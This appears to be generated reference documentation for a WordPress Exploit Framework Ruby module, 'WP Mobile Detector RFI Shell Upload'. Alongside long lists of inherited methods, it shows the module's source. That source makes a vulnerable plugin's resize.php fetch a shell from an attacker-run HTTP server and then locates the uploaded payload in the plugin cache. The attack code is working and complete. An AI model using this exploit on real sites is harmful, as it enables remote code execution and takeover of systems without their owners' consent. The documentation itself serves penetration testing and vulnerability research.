Class: Wpxf::Exploit::WpMobileDetectorRfiShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpServer, WordPress::ShellUpload
Defined in:
lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::ShellUpload

#execute_payload, #expected_upload_response_code, #payload_name, #payload_name_extension, #possible_payload_upload_locations, #run, #timestamp_range_adjustment_value, #upload_request_params, #upload_result, #upload_timestamp_range, #validate_upload_result

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #exploit_module?, #missing_options, #run, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initializeWpMobileDetectorRfiShellUpload

Returns a new instance of WpMobileDetectorRfiShellUpload.



8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 8

def initialize
  super

  update_info(
    name: 'WP Mobile Detector RFI Shell Upload',
    desc: 'The WP Mobile Detector plugin, in version 3.5, '\
          'allows for remote file inclusion and remote code execution via '\
          'the resize.php script. This exploit only works when the PHP '\
          'option "allow_url_fopen" is enabled (disabled by default in most cases).',
    author: [
      'White Fir Design', # Vulnerability disclosure
      'rastating'         # WPXF module
    ],
    references: [
      ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'],
      ['WPVDB', '8505']
    ],
    date: 'May 31 2016'
  )

  register_options([
    StringOption.new(
      name: 'rfi_host',
      desc: 'The external address of this machine',
      required: true
    ),
    StringOption.new(
      name: 'rfi_path',
      desc: 'The path to access via the remote file inclusion request',
      default: Utility::Text.rand_alpha(8),
      required: true
    )
  ])
end

Instance Method Details

#before_uploadObject



81
82
83
84
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 81

def before_upload
  start_http_server(true)
  true
end

#checkObject



47
48
49
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 47

def check
  check_plugin_version_from_readme('wp-mobile-detector', '3.6', '3.5')
end

#cleanupObject



86
87
88
89
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 86

def cleanup
  stop_http_server
  super
end

#on_http_request(path, params, headers) ⇒ Object



63
64
65
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 63

def on_http_request(path, params, headers)
  payload.encoded
end

#payload_body_builderObject



71
72
73
74
75
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 71

def payload_body_builder
  builder = Utility::BodyBuilder.new
  builder.add_field('src', rfi_url)
  builder
end

#plugin_urlObject



43
44
45
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 43

def plugin_url
  normalize_uri(wordpress_url_plugins, 'wp-mobile-detector')
end

#rfi_hostObject



51
52
53
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 51

def rfi_host
  normalized_option_value('rfi_host')
end

#rfi_pathObject



55
56
57
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 55

def rfi_path
  normalized_option_value('rfi_path')
end

#rfi_urlObject



59
60
61
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 59

def rfi_url
  "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
end

#uploaded_payload_locationObject



77
78
79
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 77

def uploaded_payload_location
  normalize_uri(plugin_url, 'cache', payload_name)
end

#uploader_urlObject



67
68
69
# File 'lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb', line 67

def uploader_url
  normalize_uri(plugin_url, 'resize.php')
end